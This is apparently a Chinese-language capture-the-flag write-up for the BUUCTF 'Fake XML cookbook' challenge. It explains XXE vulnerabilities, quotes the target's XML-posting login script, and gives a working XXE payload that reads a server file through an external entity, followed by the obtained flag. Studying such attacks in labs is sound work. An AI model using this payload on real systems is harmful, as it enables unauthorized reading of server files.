BUUCTF [NCTF2019]Fake XML cookbook

发布时间 2023-08-31 11:22:53作者: Amsterdamnit

XXE漏洞原理:发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起DOS攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。

  • DOCTYPE(文档类型定义的声明)
  • ENTITY(实体的声明)
  • SYSTEM、PUBLIC(外部资源申请)
内部实体
<!ENTITY 实体名称 "实体值">

外部实体
<!ENTITY 实体名称 SYSTEM "URL">

F12访问网站源码发现

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

payload:

<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
    <!ENTITY admin SYSTEM "file:///flag">
]>

<user><username>&admin;</username><password>1123</password></user>

得到flag{644bb1a3-7625-42a2-abd6-e500b6c57dc8}




参考链接:
https://blog.csdn.net/shinygod/article/details/123462682
从XML相关一步一步到XXE漏洞